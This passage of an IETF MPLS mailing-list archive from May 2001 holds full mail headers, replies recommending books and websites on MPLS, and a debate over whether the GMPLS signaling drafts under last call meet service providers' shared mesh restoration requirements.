Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqoc14241;
	Fri, 25 May 2001 15:40:34 GMT
Received: by mail-control.mail.uu.net 
	id QQkqoc02738
	for mpls-outgoing; Fri, 25 May 2001 15:40:01 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqoc02723
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 15:39:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqoc29472
	for <mpls@UU.NET>; Fri, 25 May 2001 15:39:40 GMT
Received: from WATERTOWN.litchfieldcomm.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: 60.190.252.64.snet.net [64.252.190.60])
	id QQkqoc13392
	for <mpls@UU.NET>; Fri, 25 May 2001 15:39:40 GMT
content-class: urn:content-classes:message
Subject: RE: Book on MPLS
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Date: Fri, 25 May 2001 11:38:27 -0400
Message-ID: <0E2DFCE7E586904DA0F583CB5EAD73CC06C340@WATERTOWN.litchfieldcomm.com>
X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0
Thread-Topic: Book on MPLS
Thread-Index: AcDlKSVwx93PXirMRUKQ96qHRYuaVgAB3TEQ
From: "Dave Danenberg" <dave_danenberg@litchfieldcomm.com>
To: "Dharani Vilwanathan" <dharani@lucent.com>, <mpls@UU.NET>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA19790

"MPLS Technology and Applications" by Davie and Rekhter is good.

-----Original Message-----
From: Dharani Vilwanathan [mailto:dharani@lucent.com]
Sent: Friday, May 25, 2001 10:53 AM
To: mpls@UU.NET
Subject: Book on MPLS


Hi,

I would like to know more about MPLS. Any good book or resources?

Thanks in advance.

Regards
dharani




From owner-mpls@UU.NET  Fri May 25 11:59:15 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA20061
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 11:59:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqod27204;
	Fri, 25 May 2001 15:56:16 GMT
Received: by mail-control.mail.uu.net 
	id QQkqod04461
	for mpls-outgoing; Fri, 25 May 2001 15:55:40 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqod04456
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 15:55:38 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqod28913
	for <mpls@UU.NET>; Fri, 25 May 2001 15:54:29 GMT
Received: from bgslc02.TBG.COM by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.99.125.2])
	id QQkqod20479
	for <mpls@UU.NET>; Fri, 25 May 2001 15:54:29 GMT
Received: by BGSLC02 with Internet Mail Service (5.5.2650.21)
	id <LSC98RLD>; Fri, 25 May 2001 09:38:38 -0600
Message-ID: <0C875DC28791D21192CD00104B95BFE70146DC32@BGSLC02>
From: Irwin Lazar <ILazar@tbg.com>
To: mpls@UU.NET
Subject: RE: Book on MPLS
Date: Fri, 25 May 2001 09:38:35 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

we've got a pretty complete list of books on MPLS and related technologies
at www.mplsrc.com/books.shtml

You might want to review the FAQ and the other resources on the site as
well.

Irwin.

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Dharani
Vilwanathan
Sent: Friday, May 25, 2001 3:53 PM
To: mpls@UU.NET
Subject: Book on MPLS


Hi,

I would like to know more about MPLS. Any good book or resources?

Thanks in advance.

Regards
dharani


From owner-mpls@UU.NET  Fri May 25 12:37:16 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA20911
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 12:37:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqog27908;
	Fri, 25 May 2001 16:34:59 GMT
Received: by mail-control.mail.uu.net 
	id QQkqog27884
	for mpls-outgoing; Fri, 25 May 2001 16:34:25 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqog27868
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 16:34:16 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqog13309
	for <mpls@uu.net>; Fri, 25 May 2001 16:33:14 GMT
Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkqog03318
	for <mpls@uu.net>; Fri, 25 May 2001 16:33:13 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4PGXEU05225
	for <mpls@uu.net>; Fri, 25 May 2001 09:33:14 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id MAA00820 for mpls@uu.net; Fri, 25 May 2001 12:33:11 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqof26331
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 16:19:31 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqof21809
	for <mpls@UU.NET>; Fri, 25 May 2001 16:18:17 GMT
Received: from c012.sfo.cp.net by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: c012-h017.c012.sfo.cp.net [209.228.12.165])
	id QQkqof17927
	for <mpls@UU.NET>; Fri, 25 May 2001 16:18:16 GMT
Received: (cpmta 10709 invoked from network); 25 May 2001 09:18:15 -0700
Date: 25 May 2001 09:18:15 -0700
Message-ID: <20010525161815.10708.cpmta@c012.sfo.cp.net>
X-Sent: 25 May 2001 16:18:15 GMT
Received: from [209.6.34.253] by mail.altavista.com with HTTP;
    25 May 2001 09:18:15 PDT
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: mpls@UU.NET
From: Michael Ussrey <michael_ussrey@altavista.com>
X-Mailer: Web Mail 3.9.2.3
X-Sent-From: michael_ussrey@altavista.com
Subject: Book on MPLS
Sender: owner-mpls@UU.NET
Precedence: bulk

Do any of these books also discuss the subtleties of Rsvp-te?

Regards,
Michael


Another decent book to add to your list of many already given is:

MPLS and VPN Architectures: A Practical Guide to Understanding, Designing
and Deploying MPLS and MPLS-Enabled VPNs
by Jim Guichard, Ivan Pepelnjak

http://www.amazon.com/exec/obidos/ASIN/1587050021/ref=pd_sim_elt_l1/104-8933
169-0293564

Enjoy!

Dimitri
BTnet

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Dharani
Vilwanathan
Sent: Friday, May 25, 2001 3:53 PM
To: mpls@UU.NET
Subject: Book on MPLS


Hi,

I would like to know more about MPLS. Any good book or resources?

Thanks in advance.

Regards
dharani

Find the best deals on the web at AltaVista Shopping!
http://www.shopping.altavista.com



From owner-mpls@UU.NET  Fri May 25 12:44:26 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA21093
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 12:44:26 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqog02508;
	Fri, 25 May 2001 16:39:12 GMT
Received: by mail-control.mail.uu.net 
	id QQkqog28392
	for mpls-outgoing; Fri, 25 May 2001 16:38:39 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqog28374
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 16:38:33 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqog14756
	for <mpls@UU.NET>; Fri, 25 May 2001 16:37:46 GMT
From: rchopra1@gmu.edu
Received: from portal.gmu.edu by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: portalknot.gmu.edu [129.174.0.8])
	id QQkqog08262
	for <mpls@UU.NET>; Fri, 25 May 2001 16:37:45 GMT
Received: from gmu.edu (mail01.gmu.edu [129.174.0.6])
	by portal.gmu.edu (8.8.8/8.8.8) with ESMTP id MAA06372;
	Fri, 25 May 2001 12:37:41 -0400 (EDT)
To: "Dharani Vilwanathan" <dharani@lucent.com>
Cc: <mpls@UU.NET>
Message-ID: <247b0ba2479b33.2479b33247b0ba@gmu.edu>
Date: Fri, 25 May 2001 09:37:14 -0700
X-Mailer: Netscape Webmail
MIME-Version: 1.0
Content-Language: en
Subject: Re: Book on MPLS
X-Accept-Language: en
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Please Check the AIL website (www.ail.gmu.edu) for more
information on MPLS.



Rajan Chopra(GRA)
Advanced Internet Laboratory
George Mason University,
G10, Johnson Center,
Fairfax, VA 22030-4444




----- Original Message -----
From: "Dharani Vilwanathan" <dharani@lucent.com>
Date: Friday, May 25, 2001 7:52 am
Subject: Book on MPLS

> Hi,
> 
> I would like to know more about MPLS. Any good book or resources?
> 
> Thanks in advance.
> 
> Regards
> dharani
> 
> 
> 



From owner-mpls@UU.NET  Fri May 25 13:08:14 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21581
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 13:08:13 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqoi07936;
	Fri, 25 May 2001 17:05:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkqoi09433
	for mpls-outgoing; Fri, 25 May 2001 17:04:55 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqoi09114
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 17:04:43 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqoi04374
	for <mpls@uu.net>; Fri, 25 May 2001 17:03:07 GMT
Received: from radiant.chromisys.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: radiant.calient.net [63.102.55.206])
	id QQkqoi06222
	for <mpls@uu.net>; Fri, 25 May 2001 17:03:07 GMT
Received: by radiant.chromisys.com with Internet Mail Service (5.5.2653.19)
	id <LD7RL5LV>; Fri, 25 May 2001 09:58:17 -0700
Message-ID: <A1AFE5CF886C5D439494D9D5DE84EEF3737071@radiant.chromisys.com>
From: John Drake <jdrake@calient.net>
To: "'C. R. Kalmanek'" <crk@research.att.com>,
        John Drake
	 <jdrake@calient.net>
Cc: "'Tarapore, Percy S'" <tarapore@att.com>,
        "Ash, Gerald R (Jerry)"
	 <gash@att.com>, ccamp@ops.ietf.org,
        mpls@UU.NET
Subject: RE: GMPLS Last Calls
Date: Fri, 25 May 2001 09:58:16 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

The point is that in GMPLS, as in regular MPLS, restoration consists of
rerouting from the endpoints upon
notification of failure.  There are a whole spectrum of path and span
protection possibilites beyond this
that people (including us) have proposed, but in the absence of firm
requirements, it's hard to know which
to pursue.  I'm not sure 'shared mesh restoration' completely covers it.

Thanks,

John  

-----Original Message-----
From: C. R. Kalmanek [mailto:crk@research.att.com]
Sent: Friday, May 25, 2001 9:54 AM
To: John Drake
Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
mpls@uu.net
Subject: Re: GMPLS Last Calls


John,

While there currently are no restoration requirements from the 
TE (or other) group, what Percy is saying is that shared mesh 
restoration WILL be a requirement from those groups.  Since the 
current GMPLS drafts don't meet this requirement, they are 
unlikely to meet key SP needs.

I don't understand a process that starts the requirements 
development after last call for the signaling specifications.

chuck

John Drake wrote:
> 
> Percy,
> 
> There has been work on protocols for path restoration in mesh networks by
a
> number of
> people.  However, at the last IETF Kireeti and Vijay clearly indicated
that
> this work,
> while interesting, wouldn't be allowed to progress in advance of a
> restoration requirements
> draft from the TE group.
> 
> Thanks,
> 
> John
> 
> -----Original Message-----
> From: Tarapore, Percy S [mailto:tarapore@att.com]
> Sent: Thursday, May 24, 2001 11:55 AM
> To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> Subject: RE: GMPLS Last Calls
> 
> There is a significant issue related to the absence of restoration in the
> signaling draft
>
(http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> 4.txt). Very specifically, Section 7 of this draft deals with the case
> involving protection information for link protection. While link
protection
> schemes may be desirable for fast recovery related to high priority LSP's,
> more cost-effective shared mesh restoration schemes would be preferred for
> the majority of traffic from a Service Provider's perspective. This
> observation is supported by the fact that many vendors are currently
> developing proprietary schemes for shared mesh restoration. Hence, in
> addition to the protection information, GMPLS signaling needs to reflect a
> minimum set of information/attributes required for shared mesh restoration
> without jeopardizing vendor proprietary solutions.
> 
> The need for multiple types of restoration capabilities is well documented
> in the OIF/UNI I-D
>
http://search.ietf.org/internet-drafts/draft-many-carrier-framework-uni-00.t
> xt as follows:
> 
> " Multiple types of facilities available for restoration are needed
>    within the network. The following options should be considered for
>    allocation of facilities to support restoration of failed
>    connections:
>    - Dedicated restoration capacity
>    - Shared restoration capacity. This allows the network to ensure
>      high quality service for customers, while still managing its
>      physical resources efficiently.
>    - Un-restorable
>    - Pre-emptable"
> 
> The OIF/UNI I-D supports a range of different restoration schemes through
> the use of service level as a connection attribute. This attribute is
> defined as follows:
> 
> " an integer attribute that indicates a class of service. A carrier may
> specify a range of different classes of service (e.g. gold, silver,
bronze)
> with predefined characteristics (e.g. restoration plans). The pre-defined
> service types correspond to different types of network restoration (e.g.
no
> restoration, 1+1 protection), connection set-up and hold priorities,
> reversion strategies for the connection after failures have been repaired,
> and retention strategies."
> 
> It is therefore important that GMPLS be extended to be able to support
such
> restoration schemes.
> 
> Percy S. Tarapore
> AT&T Labs
> 
> -----Original Message-----
> From: Ash, Gerald R (Jerry)
> Sent: Thursday, May 24, 2001 2:20 PM
> To: ccamp@ops.ietf.org; mpls@uu.net
> Cc: Ash, Gerald R (Jerry)
> Subject: RE: GMPLS Last Calls
> 
> Quoting from the CCAMP/IETF-50 meeting minutes re the GMPLS Architecture
> draft:
> 
> "Eve - Had hoped that CCAMP formation and expression of requirements would
> enable us to do more with architecture than reverse architect proposed
> solution. Think we should also look at carrier requirements and look for
> discrepancies with architecture.
> Curtis - requirements of carriers not being addressed?
> Eve - happy to discuss on mailing list in absence of time"
> 
> There are still no documented service provider (SP) requirements driving
the
> proposed GMPLS protocol extensions.  This is inconsistent with the current
> initiatives to provide SP requirements prior to protocol extensions being
> accepted, such as for protection/restoration, network hierarchy, MPLS OAM,
> MPLS/DiffServ TE, multi-area TE, etc.
> 
> Here is a sample of SP requirements that are not being addressed (other
> requirements from our perspective are forthcoming):
> 
> 1. Restoration requirements, particularly in support of mesh restoration,
> need to be supported by GMPLS.  For example, Section 7 of the Generalized
> Signaling I-D
>
(http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> 4.txt)
> primarily discusses link protection, restoration capabilities are largely
> missing and need to be included.
> 
> 2. Standards explicitly supported by GMPLS, such as G.707, G.709, etc.,
> should be clearly identified in the text and referenced in the GMPLS I-Ds,
> e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707
[Reference
> G.707] is supported by the Generalized Label Request."
> 
> As per Eve's comment at IETF-50, SPs are encouraged to post their
> requirements to the list.  It would also help if more SPs were invited to
> co-author the GMPLS drafts, to help ensure that SP requirements are more
> adequately reflected and addressed.
> 
> Jerry Ash
> AT&T Labs
> 
> -----Original Message-----
> From: George Swallow [mailto:swallow@cisco.com]
> Sent: Monday, May 14, 2001 1:52 PM
> To: ccamp@ops.ietf.org; mpls@uu.net
> Subject: GMPLS Last Calls
> 
> This message initiates a last call on four GMPLS drafts.  The last
> call is being issued jointly in the MPLS and CCAMP workgroups.
> 
> The drafts are:
> 
>     1.  Generalized MPLS - Signaling Functional Description
> 
>            <draft-ietf-mpls-generalized-signaling-04.txt>
> 
>     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> 
>            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> 
>     3.  Generalized MPLS Signaling - CR-LDP Extensions
> 
>            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> 
>     4.  GMPLS Extensions for SONET and SDH Control
> 
>            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> 
> The last call closes May 29, 12 pm GMT.
> 
> -  V2KG (Vijay, Vijay, Kireeti, & George)
> 
> ======================================================================
> George Swallow       Cisco Systems                   (978) 244-8143
>                      250 Apollo Drive
>                      Chelmsford, Ma 01824


From owner-mpls@UU.NET  Fri May 25 13:28:16 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21884
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 13:28:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqoj07207;
	Fri, 25 May 2001 17:24:34 GMT
Received: by mail-control.mail.uu.net 
	id QQkqoj22877
	for mpls-outgoing; Fri, 25 May 2001 17:24:03 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqoj22857
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 17:23:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqoj20564
	for <mpls@uu.net>; Fri, 25 May 2001 17:20:30 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkqoj12365
	for <mpls@uu.net>; Fri, 25 May 2001 17:20:30 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4PHKUU04985
	for <mpls@uu.net>; Fri, 25 May 2001 10:20:30 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id NAA00930 for mpls@uu.net; Fri, 25 May 2001 13:20:28 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqoi14008
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 17:09:26 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqoi26301
	for <mpls@uu.net>; Fri, 25 May 2001 17:08:30 GMT
Received: from mail-blue.research.att.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkqoi11798
	for <mpls@uu.net>; Fri, 25 May 2001 17:08:29 GMT
Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 2F2C24D24F; Fri, 25 May 2001 13:08:29 -0400 (EDT)
Received: from research.att.com (pc-crk.research.att.com [135.207.17.83])
	by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id NAA09058;
	Fri, 25 May 2001 13:08:28 -0400 (EDT)
Message-ID: <3B0E9158.81B55878@research.att.com>
Date: Fri, 25 May 2001 13:07:36 -0400
From: "C. R. Kalmanek" <crk@research.att.com>
X-Mailer: Mozilla 4.51 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: John Drake <jdrake@calient.net>
Cc: "'Tarapore, Percy S'" <tarapore@att.com>,
        "Ash, Gerald R (Jerry)" <gash@att.com>, ccamp@ops.ietf.org,
        mpls@UU.NET
Subject: Re: GMPLS Last Calls
References: <A1AFE5CF886C5D439494D9D5DE84EEF3737071@radiant.chromisys.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

I fully agree: there are a whole spectrum of options that we
need to sort through, and clear requirements are needed to
guide that process.  Our concern is with the last call.  It
doesn't make sense to progress drafts to RFC that are likely 
in hindsight to be viewed as having serious deficiencies in
meeting restoration requirements.

chuck

John Drake wrote:
> 
> The point is that in GMPLS, as in regular MPLS, restoration consists of
> rerouting from the endpoints upon
> notification of failure.  There are a whole spectrum of path and span
> protection possibilites beyond this
> that people (including us) have proposed, but in the absence of firm
> requirements, it's hard to know which
> to pursue.  I'm not sure 'shared mesh restoration' completely covers it.
> 
> Thanks,
> 
> John
> 
> -----Original Message-----
> From: C. R. Kalmanek [mailto:crk@research.att.com]
> Sent: Friday, May 25, 2001 9:54 AM
> To: John Drake
> Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> mpls@uu.net
> Subject: Re: GMPLS Last Calls
> 
> John,
> 
> While there currently are no restoration requirements from the
> TE (or other) group, what Percy is saying is that shared mesh
> restoration WILL be a requirement from those groups.  Since the
> current GMPLS drafts don't meet this requirement, they are
> unlikely to meet key SP needs.
> 
> I don't understand a process that starts the requirements
> development after last call for the signaling specifications.
> 
> chuck
> 
> John Drake wrote:
> >
> > Percy,
> >
> > There has been work on protocols for path restoration in mesh networks by
> a
> > number of
> > people.  However, at the last IETF Kireeti and Vijay clearly indicated
> that
> > this work,
> > while interesting, wouldn't be allowed to progress in advance of a
> > restoration requirements
> > draft from the TE group.
> >
> > Thanks,
> >
> > John
> >
> > -----Original Message-----
> > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > Sent: Thursday, May 24, 2001 11:55 AM
> > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > Subject: RE: GMPLS Last Calls
> >
> > There is a significant issue related to the absence of restoration in the
> > signaling draft
> >
> (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> > 4.txt). Very specifically, Section 7 of this draft deals with the case
> > involving protection information for link protection. While link
> protection
> > schemes may be desirable for fast recovery related to high priority LSP's,
> > more cost-effective shared mesh restoration schemes would be preferred for
> > the majority of traffic from a Service Provider's perspective. This
> > observation is supported by the fact that many vendors are currently
> > developing proprietary schemes for shared mesh restoration. Hence, in
> > addition to the protection information, GMPLS signaling needs to reflect a
> > minimum set of information/attributes required for shared mesh restoration
> > without jeopardizing vendor proprietary solutions.
> >
> > The need for multiple types of restoration capabilities is well documented
> > in the OIF/UNI I-D
> >
> http://search.ietf.org/internet-drafts/draft-many-carrier-framework-uni-00.t
> > xt as follows:
> >
> > " Multiple types of facilities available for restoration are needed
> >    within the network. The following options should be considered for
> >    allocation of facilities to support restoration of failed
> >    connections:
> >    - Dedicated restoration capacity
> >    - Shared restoration capacity. This allows the network to ensure
> >      high quality service for customers, while still managing its
> >      physical resources efficiently.
> >    - Un-restorable
> >    - Pre-emptable"
> >
> > The OIF/UNI I-D supports a range of different restoration schemes through
> > the use of service level as a connection attribute. This attribute is
> > defined as follows:
> >
> > " an integer attribute that indicates a class of service. A carrier may
> > specify a range of different classes of service (e.g. gold, silver,
> bronze)
> > with predefined characteristics (e.g. restoration plans). The pre-defined
> > service types correspond to different types of network restoration (e.g.
> no
> > restoration, 1+1 protection), connection set-up and hold priorities,
> > reversion strategies for the connection after failures have been repaired,
> > and retention strategies."
> >
> > It is therefore important that GMPLS be extended to be able to support
> such
> > restoration schemes.
> >
> > Percy S. Tarapore
> > AT&T Labs
> >
> > -----Original Message-----
> > From: Ash, Gerald R (Jerry)
> > Sent: Thursday, May 24, 2001 2:20 PM
> > To: ccamp@ops.ietf.org; mpls@uu.net
> > Cc: Ash, Gerald R (Jerry)
> > Subject: RE: GMPLS Last Calls
> >
> > Quoting from the CCAMP/IETF-50 meeting minutes re the GMPLS Architecture
> > draft:
> >
> > "Eve - Had hoped that CCAMP formation and expression of requirements would
> > enable us to do more with architecture than reverse architect proposed
> > solution. Think we should also look at carrier requirements and look for
> > discrepancies with architecture.
> > Curtis - requirements of carriers not being addressed?
> > Eve - happy to discuss on mailing list in absence of time"
> >
> > There are still no documented service provider (SP) requirements driving
> the
> > proposed GMPLS protocol extensions.  This is inconsistent with the current
> > initiatives to provide SP requirements prior to protocol extensions being
> > accepted, such as for protection/restoration, network hierarchy, MPLS OAM,
> > MPLS/DiffServ TE, multi-area TE, etc.
> >
> > Here is a sample of SP requirements that are not being addressed (other
> > requirements from our perspective are forthcoming):
> >
> > 1. Restoration requirements, particularly in support of mesh restoration,
> > need to be supported by GMPLS.  For example, Section 7 of the Generalized
> > Signaling I-D
> >
> (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> > 4.txt)
> > primarily discusses link protection, restoration capabilities are largely
> > missing and need to be included.
> >
> > 2. Standards explicitly supported by GMPLS, such as G.707, G.709, etc.,
> > should be clearly identified in the text and referenced in the GMPLS I-Ds,
> > e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707
> [Reference
> > G.707] is supported by the Generalized Label Request."
> >
> > As per Eve's comment at IETF-50, SPs are encouraged to post their
> > requirements to the list.  It would also help if more SPs were invited to
> > co-author the GMPLS drafts, to help ensure that SP requirements are more
> > adequately reflected and addressed.
> >
> > Jerry Ash
> > AT&T Labs
> >
> > -----Original Message-----
> > From: George Swallow [mailto:swallow@cisco.com]
> > Sent: Monday, May 14, 2001 1:52 PM
> > To: ccamp@ops.ietf.org; mpls@uu.net
> > Subject: GMPLS Last Calls
> >
> > This message initiates a last call on four GMPLS drafts.  The last
> > call is being issued jointly in the MPLS and CCAMP workgroups.
> >
> > The drafts are:
> >
> >     1.  Generalized MPLS - Signaling Functional Description
> >
> >            <draft-ietf-mpls-generalized-signaling-04.txt>
> >
> >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> >
> >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> >
> >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> >
> >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> >
> >     4.  GMPLS Extensions for SONET and SDH Control
> >
> >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> >
> > The last call closes May 29, 12 pm GMT.
> >
> > -  V2KG (Vijay, Vijay, Kireeti, & George)
> >
> > ======================================================================
> > George Swallow       Cisco Systems                   (978) 244-8143
> >                      250 Apollo Drive
> >                      Chelmsford, Ma 01824



From owner-mpls@UU.NET  Fri May 25 13:29:55 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21920
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 13:29:54 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqoj29530;
	Fri, 25 May 2001 17:26:37 GMT
Received: by mail-control.mail.uu.net 
	id QQkqoj23104
	for mpls-outgoing; Fri, 25 May 2001 17:26:06 GMT
